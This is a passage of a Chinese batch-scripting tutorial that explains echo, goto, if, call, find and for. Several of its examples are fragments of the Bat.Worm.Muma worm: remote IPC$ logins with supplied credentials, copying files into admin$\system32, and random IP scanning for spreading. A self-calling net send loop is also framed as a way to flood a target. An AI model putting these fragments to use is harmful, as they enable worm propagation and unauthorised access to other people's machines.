批處理看起來雜亂無章,但它的邏輯性之強(qiáng),絕對(duì)不比其他程序語言(如匯編)低,如果你寫的腳本是一堆亂麻,雖然每一行命令都正確,但從頭執(zhí)行到尾后,不一定得到你想要的結(jié)果,也許是一屏幕的Bad command or fail name。這又和愛情有了共同點(diǎn):按步驟來經(jīng)營,缺少或增多的步驟都可能導(dǎo)致不想看見的結(jié)果。陷入愛河的朋友,相信沒有不肯定這句話的。我的愛情批處理,輸出的結(jié)果不是Bad command or fail name,屏幕是這么顯示的:‘你的愛情’不是內(nèi)部或外部命令,也不是可運(yùn)行的程序或批處理文件。然后就是光標(biāo)不停閃動(dòng),等待這下一次錯(cuò)誤的輸入。
從這一章開始,將由淺入深的介紹批處理中常用的命令,很多常見DOS命令在批處理腳本中有這廣泛的應(yīng)用,它們是批處理腳本的BODY部分,但批處理比 DOS更靈活多樣,更具備自動(dòng)化。要學(xué)好批處理,DOS一定要有比較扎實(shí)的基礎(chǔ)。這里只講述一些比較少用(相對(duì)來說)的DOS命令,常用命令如COPY、 DIR等就不做介紹了(這些看似簡單的命令實(shí)際復(fù)雜的很,我怕自己都說不清楚!)。
例五,先看一個(gè)實(shí)例。這是一個(gè)很有意思的腳本,一個(gè)小巧實(shí)用的好東東,把批處理“自動(dòng)化”的特點(diǎn)體現(xiàn)的淋漓盡致。先介紹一下這個(gè)腳本的來歷:大家都知道匯編程序(MASM)的上機(jī)過程,先要對(duì)源代碼進(jìn)行匯編、連接,然后再執(zhí)行,而這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。如何使這個(gè)過程變的簡單呢?在我們搞匯編課程設(shè)計(jì)時(shí),我“被逼”寫了這個(gè)腳本,用起來很爽,呵呵。看看腳本內(nèi)容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被這一堆的東西給嚇怕了,靜下心來仔細(xì)的看(回想一下第一章中第一段是怎么寫的!!)。已經(jīng)給出了每一行命令的解釋,兩個(gè)冒號(hào)后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,一看就懂了,實(shí)在不懂了不會(huì)查詞典啊,這么懶?),在腳本執(zhí)行時(shí)不顯示,也不起任何作用。倒數(shù)第 5行行首有一個(gè)冒號(hào),可不是筆誤哦!具體作用后面會(huì)詳細(xì)講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有這個(gè)腳本,廢話!)一起在當(dāng)前目錄中。使用這個(gè)批處理腳本,可以最大可能的減少手工輸入,整個(gè)過程中只需要按幾下回車鍵,即可實(shí)現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動(dòng)化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時(shí)源代碼出現(xiàn)錯(cuò)誤(匯編不成功),則自動(dòng)暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯源代碼界面;如果源代碼匯編成功,則進(jìn)行連接,并在連接后自動(dòng)執(zhí)行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個(gè)腳本還具備良好的可改進(jìn)性,簡單進(jìn)行修改就可以符合不同朋友的上機(jī)習(xí)慣。正在學(xué)匯編的朋友,一定別忘了實(shí)習(xí)一下!
在這個(gè)腳本中出現(xiàn)了如下幾個(gè)命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個(gè)命令。
1、@
這個(gè)符號(hào)大家都不陌生,email的必備符號(hào),它怎么會(huì)跑到批處理中呢?呵呵,不是它的錯(cuò),批處理本來就離不開它,要不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話!)。呵呵,通俗一點(diǎn)說,行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執(zhí)行時(shí)不顯示后面的echo off部分。這下懂了吧?還是不太懂?沒關(guān)系,看完echo命令簡介,自然就懂了。
2、echo
中文為“反饋”、“回顯”的意思。它其實(shí)是一個(gè)開關(guān)命令,就是說它只有兩種狀態(tài):打開和關(guān)閉。于是就有了echo on和echo off兩個(gè)命令了。直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,它后面的所有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令。在例五中,首行的@命令和echo off命令聯(lián)合起來,達(dá)到了兩個(gè)目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點(diǎn)亂,但你要是練習(xí)一下的話,3分鐘包會(huì),不會(huì)的退錢!
echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么??)。
echo命令的另一種用法二:可以直接編輯文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會(huì)在當(dāng)前目錄下生成一個(gè)a.bat的文件,直接執(zhí)行就會(huì)得到結(jié)果。
3、::
這個(gè)命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內(nèi)容在執(zhí)行時(shí)不顯示,也不起任何作用,因?yàn)樗皇亲⑨專皇窃黾恿四_本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。
4、pause
中文為“暫停”的意思(看看你的workman上),我一直認(rèn)為它是批處理中最簡單的一個(gè)命令,單純、實(shí)用。它的作用,是讓當(dāng)前程序進(jìn)程暫停一下,并顯示一行信息:請(qǐng)按任意鍵繼續(xù). . .。在例五中這個(gè)命令運(yùn)用了兩次,第一次的作用是讓使用者看清楚程序信息,第二個(gè)是顯示錯(cuò)誤的匯編代碼信息(其實(shí)不是它想顯示,而是masm程序在顯示錯(cuò)誤信息時(shí)被暫它停了,以便讓你看清楚你的源代碼錯(cuò)在哪里)。
5、:和goto
為什么要把這兩個(gè)命令聯(lián)合起來介紹?因?yàn)樗鼈兪欠植婚_的,無論少了哪個(gè)或多了哪個(gè)都會(huì)出錯(cuò)。goto是個(gè)跳轉(zhuǎn)命令,:是一個(gè)標(biāo)簽。當(dāng)程序運(yùn)行到goto 時(shí),將自動(dòng)跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開?)。例五中倒數(shù)第5行行首出現(xiàn)一個(gè):,則程序在運(yùn)行到goto時(shí)就自動(dòng)跳轉(zhuǎn)到:標(biāo)簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是標(biāo)簽名稱)。不難看出,goto命令就是根據(jù)這個(gè)冒號(hào)和標(biāo)簽名稱來尋找它該跳轉(zhuǎn)的地方,它們是一一對(duì)應(yīng)的關(guān)系。goto命令也經(jīng)常和if命令結(jié)合使用。至于這兩個(gè)命令具體用法,參照例五。
goto命令的另一種用法一:提前結(jié)束程序。在程序中間使用goto命令跳轉(zhuǎn)到某一標(biāo)簽,而這一標(biāo)簽的內(nèi)容卻定義為退出。如:
……
goto end
……
:end
這里:end在腳本最后一行!其實(shí)這個(gè)例子很弱智,后面講了if命令和組合命令你就知道了。
6、%
這個(gè)百分號(hào)嚴(yán)格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個(gè)%一起使用的情況除外,以后還將詳細(xì)介紹),但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件名參數(shù)一 參數(shù)二 ……。假設(shè)這個(gè)腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username、password是三個(gè)參數(shù),缺一不可(因?yàn)槌绦虿荒苷_運(yùn)行,并不是因?yàn)樯倭藚?shù)語法就不對(duì))這樣在腳本執(zhí)行過程中,腳本就自動(dòng)用用你的三個(gè)參數(shù)依次(記住,是依次!也是一一對(duì)應(yīng)的關(guān)系。)代換1%、2%和3%,這樣就達(dá)到了靈活運(yùn)用的目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話,不同的參數(shù)可以達(dá)到不同的目的,是不是更靈活?)。
關(guān)于這個(gè)參數(shù)的使用,在后續(xù)章節(jié)中還將介紹。一定要非常熟練才行,這需要很多練習(xí)過程,需要下點(diǎn)狠工夫!
這一章就寫到這里了。可能有朋友問了:怎么沒介紹if命令?呵呵,不是我忘了,而是它不容易說清楚,下一章再講了!這一章講的這點(diǎn)東西,如果你是初學(xué)者,恐怕也夠消化的了。記住一句話:DOS是批處理的BODY,任何一個(gè)DOS命令都可以被用在批處理腳本中去完成特定的功能。到這里,你是否已經(jīng)想到了用自己肚子里的東西去寫點(diǎn)帶有自動(dòng)化色彩的東東呢?很簡單,就是一個(gè)DOS命令的集合而已,相信自稱為天才的你已經(jīng)會(huì)把計(jì)算機(jī)等級(jí)考試上機(jī)試題中的DOS部分用批處理來自動(dòng)化完成了。
煩!就好象一個(gè)半老女人到了更年期,什么事都想嘮叨幾句,什么事都感到不舒服,看誰誰不爽。明知山有虎,偏向虎山行,最后留下一身傷痕無功而返時(shí),才發(fā)現(xiàn)自己竟然如此脆弱,如此渺小,如此不堪一擊。徘徊在崩潰的邊緣,突然回想起了自己最后一次扁人的那一刻,還真有點(diǎn)懷念(其實(shí)我很不喜歡扁人,更不喜歡被人扁)。我需要發(fā)泄,我用手指拼命的敲打著鍵盤,在一陣接一陣有節(jié)奏的聲音中,屏幕上出現(xiàn)了上面的這些文字。可難道這就是發(fā)泄的另一種方式嗎?中國人還是厲害,早在幾千年前孔老夫子就說過“唯女子與小人,難養(yǎng)也”,真**有先見之明,佩服!雖然是在發(fā)泄,不過大家請(qǐng)放心,以我的脾氣,既然決定寫這篇教程,就一定會(huì)盡力去寫好,寫完美,絕對(duì)不給自己留下遺憾,要不這教程就不是我寫的!
曾經(jīng)有一篇經(jīng)典的批處理教程出現(xiàn)在你的屏幕上,你沒有保存,直到找不到它的鏈接你才后悔莫及,人世間最大的痛苦莫過于此。如果上天能給你一個(gè)再看一次的機(jī)會(huì),你會(huì)對(duì)那篇教程說三個(gè)字:我愛你!如果非要給這份愛加上一個(gè)期限,你希望是100年。因?yàn)?00年后,你恐怕早已經(jīng)掛了!而現(xiàn)在,你的屏幕上出現(xiàn)了這篇你正在看的批處理教程,雖然不如你曾經(jīng)看的那篇經(jīng)典,但如果勉強(qiáng)還過的去。你會(huì)愛它嗎?時(shí)間會(huì)有50年那么長嗎?答案是:試試看吧。
批處理腳本中最重要的幾個(gè)命令,將在這一章詳細(xì)介紹,但是很遺憾,有些細(xì)節(jié)到現(xiàn)在我都沒掌握的很好,甚至還有些生分。如同還不太懂得愛一樣。但我一直都在努力,即使一直都沒有收獲。所以可能講的會(huì)比較籠統(tǒng),但我會(huì)告訴你方法,剩下的就是時(shí)間問題了,需要自己去磨練。讓我們共同努力吧。冰凍三尺非一日之寒,滴水穿石非一日之功。有些事情,比如學(xué)批處理,比如愛一個(gè)人,都是不能速成的,甚至還會(huì)有付出艱辛而收獲為甚微的情況。再次重申,看這篇教程的時(shí)候,一定要靜下心來,除非你已經(jīng)掌握了這篇教程的所有東西----但那也就不必看了,浪費(fèi)時(shí)間!
7、if
接上一章,接著講if命令。總的來說,if命令是一個(gè)表示判斷的命令,根據(jù)得出的每一個(gè)結(jié)果,它都可以對(duì)應(yīng)一個(gè)相應(yīng)的操作。關(guān)于它的三種用法,在這里分開講。
(1)、輸入判斷。還是用例五里面的那幾句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(shí)(大家一般看一個(gè)命令的幫助,是不是輸入的/?或 help呢,這里這么做只是為了讓這個(gè)腳本看起來更像一個(gè)真正的程序),也跳轉(zhuǎn)到usage。這里還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage(實(shí)際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡單?其實(shí)翻譯成中文體會(huì)一下就understand了。
(2)、存在判斷。再看例二里這句:
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文件,就刪除這些文件。當(dāng)然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當(dāng)然也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一個(gè)not來表示否定而已。
(3)、結(jié)果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對(duì)源代碼進(jìn)行匯編,如果失敗則暫停顯示錯(cuò)誤信息,并在按任意鍵后自動(dòng)進(jìn)入編輯界面;否則用link程序連接生成的obj文件。這里只介紹一下和if命令有關(guān)的地方,&命令后面會(huì)講到。這種用法是先判斷前一個(gè)命令執(zhí)行后的返回碼(也叫錯(cuò)誤碼,DOS程序在運(yùn)行完后都有返回碼),如果和定義的錯(cuò)誤碼符合(這里定義的錯(cuò)誤碼為1),則執(zhí)行相應(yīng)的操作(這里相應(yīng)的操作為pause & edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達(dá)上面三句的意思,代碼變?yōu)椋?br />
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本質(zhì)了吧?其實(shí)只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效果是等效的,都表示上一句masm命令執(zhí)行成功(因?yàn)樗清e(cuò)誤判斷,而且返回碼為0,0就表示否定,就是說這個(gè)錯(cuò)誤不存在,就是說masm執(zhí)行成功)。這里是否加not,錯(cuò)誤碼到底用0還是1,是值得考慮的兩個(gè)問題,一旦搭配不成功腳本就肯定出錯(cuò),所以一定要體會(huì)的很深刻才行。如何體會(huì)的深刻?練習(xí)!自己寫一個(gè)腳本,然后把有not和沒有not的情況,返回碼為0或1的情況分別寫進(jìn)去執(zhí)行(怎么,嫌麻煩啊?排列組合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合命令時(shí)還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。
這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會(huì)用errorlevel來判斷返回碼,則要達(dá)到相同的效果,必須用else來表示“否則”的操作,是比較麻煩的。以上代碼必須變成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
關(guān)于if命令的這三種用法就say到這里,理解很簡單,但應(yīng)用時(shí)就不一定用的那么得心應(yīng)手,主要是熟練程度的問題。可能有的朋友有點(diǎn)驚訝,我怎么沒給出類似下面三行的用法介紹,是因?yàn)橄旅嫒惺莍f命令幫助里對(duì)它自身用法的解釋,任何人只要一個(gè)“if /?”就能看到,我沒有必要在這里多費(fèi)口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不一定看的懂,所以我采用上面自己對(duì)if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能改變的,但實(shí)際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學(xué)教我們學(xué)會(huì)透過現(xiàn)象看事物本質(zhì)!)。有興趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學(xué)過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實(shí)也是一樣的。在批處理腳本中,call命令用來從一個(gè)批處理腳本中調(diào)用另一個(gè)批處理腳本。看例八(默認(rèn)的三個(gè)腳本文件名分別為start.bat、10.bat和ipc.bat):
start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有沒有看出什么不對(duì)的地方?沒看出來啊?沒看出來就對(duì)了,其實(shí)就沒有不對(duì)的地方嘛,你怎么看的出來!從上面兩個(gè)腳本,你可以得到如下信息:1、腳本調(diào)用可以靈活運(yùn)用,循環(huán)運(yùn)用、重復(fù)運(yùn)用。2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點(diǎn)就不多說了,聰明的你一看就應(yīng)該會(huì),這里說一下第二點(diǎn)。
在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時(shí)的效果,其實(shí)就是把10.bat里的參數(shù)%1用0代替。在start.bat 中,ipc.bat后面跟了參數(shù)ipcfind.txt(一個(gè)文件,也可以做參數(shù)),執(zhí)行時(shí)的效果,就是用ipc.bat中的每一行的三個(gè)變量(這里不懂沒關(guān)系,學(xué)過for命令后就懂了),對(duì)應(yīng)代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用時(shí)需要好好體會(huì)。在初學(xué)期間,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會(huì)有比較深刻的理解,這是因?yàn)楫?dāng)你已經(jīng)可以靈活運(yùn)用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然包括到了考慮的范圍,這時(shí)候你就會(huì)發(fā)現(xiàn)在調(diào)用腳本時(shí)直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個(gè)腳本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機(jī)會(huì)見到這個(gè)病毒的真面目。
那是不是說,在同一個(gè)目錄下至少存在兩個(gè)批處理腳本文件(只有一個(gè)你調(diào)用誰?)?呵呵,注意了,這句話錯(cuò)了!!只有一個(gè)照樣可以調(diào)用----調(diào)用自身!看例九(默認(rèn)腳本文件名a.bat):
net send %1 This is a call example.
call a.bat
這兩句一結(jié)合,效果自然不怎么樣,因?yàn)橹挥幸慌_(tái)機(jī)器來發(fā)消息,誰怕誰啊?我給你來個(gè)禮尚往來!可如果有100臺(tái)機(jī)器同時(shí)執(zhí)行,而且每臺(tái)機(jī)器開10和窗口同時(shí)向一個(gè)目標(biāo)機(jī)器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行完前一句net send命令后再調(diào)用自身,達(dá)到了循環(huán)執(zhí)行的目的。
給出一個(gè)很有意思的腳本,有興趣的朋友可以實(shí)驗(yàn)一下。例十(默認(rèn)腳本文件名為a.bat):
call a.bat
一定要在DOS窗口下執(zhí)行,否則只會(huì)看到一個(gè)窗口一閃而過,看不到最后結(jié)果。等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,別忘了想一下到底是為什么!愛情有時(shí)候跟這個(gè)腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。只是愛情,絕對(duì)不會(huì)等到被毫無理由的循環(huán)這么多次,也許在第三次時(shí)就出現(xiàn)了love is aborted的提示。
9、find
這是一個(gè)搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個(gè)字?)。這個(gè)命令單獨(dú)使用的情況在批處理中是比較少見的,因?yàn)闆]什么實(shí)際意義。還是借例三來說明:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令檢查是否有冰河默認(rèn)的端口7626在活動(dòng),并把結(jié)果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出。看,find命令其實(shí)就這么簡單,但有一點(diǎn)必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個(gè)a.txt的絕對(duì)路徑(我試過了,find并沒有默認(rèn)路徑就是當(dāng)前路徑的功能,必須手動(dòng)指定。也許是我錯(cuò)了,歡迎指正)。因?yàn)樵趂ind命令的幫助里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個(gè)命令產(chǎn)生的文字。這里的“另一個(gè)命令”自然就指的 type命令了。
至于find命令的其他幾個(gè)參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了,這里就不做介紹。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續(xù)的教程中將介紹,希望關(guān)注。
10、for、set、shift
為什么把這三個(gè)命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實(shí)我也不太懂!是的,對(duì)于這兩個(gè)命令,我是從研究 Bat.Worm.Muma病毒開始學(xué)習(xí)的,時(shí)間過去了不少,但還是沒完全搞明白,我怕講出來連自己都看不懂,我更怕不小心講錯(cuò)了成了罪人。所以我給出一個(gè)腳本去告訴你,如何讓這兩個(gè)命令給自己留一個(gè)初步的印象,其實(shí)也就是這兩個(gè)命令的入門,而并不是說如何領(lǐng)會(huì)這兩個(gè)命令。因?yàn)橐I(lǐng)會(huì)如此精妙的兩個(gè)命令(特別是for)談何容易!也許你會(huì)表揚(yáng)我說我誠實(shí)、不懂就不懂;也許你會(huì)罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還會(huì)說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會(huì)誓死捍衛(wèi)你說話的權(quán)利。看例十一:
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個(gè)文件,里面分別記錄了for命令、set命令和shift命令的幫助信息。地球人都能看懂,我就不多說了。我在網(wǎng)上曾經(jīng)找了很長時(shí)間這三個(gè)命令的教程,但都不理想,基本都是照搬的幫助信息。我想在自己完全掌握了這兩個(gè)命令后,一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程(關(guān)于shift命令,后面介紹批處理的參數(shù)時(shí)還將涉及到),一定會(huì)的,這是我的心愿之一!需要注意的一點(diǎn)是,這三個(gè)命令的幫助里,介紹的都比較死板,雖然也舉了一些例子,但這是遠(yuǎn)遠(yuǎn)不夠的。要掌握這兩個(gè)命令,最需要的就是耐心!沒寫錯(cuò),就是耐心。光是認(rèn)真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進(jìn)一步練習(xí)領(lǐng)會(huì)這兩個(gè)命令,難道不需要更大的耐心?實(shí)戰(zhàn)練習(xí)的機(jī)會(huì)我會(huì)留給你的,關(guān)鍵還是那句話,看你有沒有耐心去研究了。看看例十二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設(shè)置了病毒運(yùn)行的環(huán)境變量。是不是看的頭都大了?又忘了寫在第一章第一段的那句話(靜下心來!),你應(yīng)該能體會(huì)到學(xué)習(xí)這兩個(gè)命令所需要的耐心了吧。就如同去愛一個(gè)人,你得學(xué)會(huì)寬容,打不得罵不得,用你寬大的胸懷去包容她的一切,即使你發(fā)現(xiàn)愛她的過程如看上面代碼的過程一樣讓你頭大,但你還是得愛下去----愛需要理由嗎?不需要嗎?需要嗎?不需要嗎……等到風(fēng)平浪靜后,最直觀的收獲就是,你的耐心變的前所未有的充足,面對(duì)她的復(fù)雜和善變,你自己會(huì)處變不驚,以自己的方式去從容應(yīng)付曾經(jīng)應(yīng)付不了的場(chǎng)面,即使到最后一身傷痕,也會(huì)感慨曾經(jīng)的舉動(dòng)有多么偉大。
沒錯(cuò),這就是批處理的魅力,這就是愛的魅力。讓你受了傷還感謝傷你的人。這種感覺就好象在自己最喜歡的音樂聲中被人強(qiáng)奸,痛并快樂著。
不得不再次重申一遍,各種DOS命令是批處理的BODY(我實(shí)在找不出一個(gè)更合適的詞來形容他們之間的關(guān)系),學(xué)好DOS命令是學(xué)好批處理的前提。其他 DOS命令如copy、dir、del、type、path、break、start等內(nèi)部命令,以及ping、net、cmd、at、sort、 attrib、fc、find等外部命令,在批處理里的應(yīng)用非常廣泛。這篇教程的作用,是教你認(rèn)識(shí)批處理,以及如何利用DOS命令組合出來一個(gè)完美的批處理腳本,去讓它自動(dòng)完成你想要它做的事情。而靈活自如的編輯一個(gè)批處理腳本是建立在熟練掌握DOS命令的基礎(chǔ)上的,這已經(jīng)超出了本文的范疇,在此就不贅述了。
不知不覺中第三章已經(jīng)結(jié)束了。耳麥里傳來的依然是陳曉東的《比我幸福》,每隔4分32秒就自動(dòng)重播。雖然我不并不很喜歡陳曉東,可這并不妨礙我喜歡音樂,喜歡這首描寫的如此讓人感慨的歌。請(qǐng)你一定要比我幸福/才不枉費(fèi)我狼狽退出/再痛也不說苦/愛不用抱歉來彌補(bǔ)/至少我能成全你的追逐/請(qǐng)記得你要比我幸福 /才值得我對(duì)自己殘酷/我默默的倒數(shù)/最后再把你看清楚/看你眼里的我好饃糊/慢慢被放逐。我如同一個(gè)因年老失色而拉不到客的老妓女,絕望的徘徊在曾經(jīng)輝煌的紅燈區(qū),用一臉的木然瞟一眼來來去去的人群,默默的回憶自己并不光彩的過去,幻想自己將要面對(duì)的未來。直到看見那些幸福依偎在一起的情侶們,才突然間發(fā)現(xiàn)上帝的公平,和這種公平的殘忍。
可以說,批處理腳本中最重要的幾個(gè)命令我都沒有給出如echo或if那樣比較詳細(xì)的介紹,原因我已經(jīng)說了,因?yàn)槲乙彩莻€(gè)菜,我也不太懂----但我正在學(xué)!你呢?今天又去了一趟圖書館,淘金一樣發(fā)現(xiàn)了一本叫《DOS批文件》的東東,藏在一個(gè)角落里落滿了灰,五本摞一起就跟磚頭一樣厚了。大概翻了一下,里面介紹了很多比較底層和基礎(chǔ)的東西,雖然從思路上講,已經(jīng)有點(diǎn)time out了,很多東西已經(jīng)基本沒有利用的價(jià)值(這就是信息時(shí)代的更新速度),但還是很值得看的。于是打算下午淘過來,放假回去了再好好研究一番,連同那幾個(gè)不熟悉的命令一起搞熟了,再續(xù)寫這篇教程。我始終堅(jiān)信,沒有最好只有更好。
但是很可惜,等到下午再去的時(shí)候,圖書館樓梯口已經(jīng)立了一個(gè)牌子,上面寫著out of service----人家這學(xué)期的工作結(jié)束了。于是回到宿舍打算繼續(xù)寫第四章,正在這時(shí)又得到一個(gè)“振奮人心”的消息:期末考試有一科掛了,而且是全班第一----這一門整個(gè)班里就掛了我一個(gè)。郁悶的情緒剎那間涌上心頭,整個(gè)世界仿佛都變成黑的了。食堂和小賣部已經(jīng)陸續(xù)關(guān)門,學(xué)校里的人越來越少,迎面過來的幾個(gè)同學(xué)也都一身行李,忙碌著準(zhǔn)備回家過年,內(nèi)心的孤寂和失落如同夏日里暴雨前的烏云,迅速而不可抗拒的占領(lǐng)了心里每一個(gè)角落。迎著一月的冷風(fēng)我一個(gè)人在天橋上發(fā)呆,還能怎么樣,連期末考試都應(yīng)付不了的失敗男人。
“課間休息”時(shí)間好象長了點(diǎn),呵呵,上課了!從這一章開始,將詳細(xì)介紹批處理中常用的幾個(gè)組合命令和管道命令。這些命令雖然不是必須的,如同愛一個(gè)人時(shí)不一定非得每天去陪,但如果少了這個(gè)過程,事情就會(huì)變的復(fù)雜而不完美,所以我認(rèn)為管道命令和組合命令是批處理的調(diào)味劑,幾乎是少不了的。
下面從管道命令講起。常用的管道命令有以下這些:|、>、>>
11、|
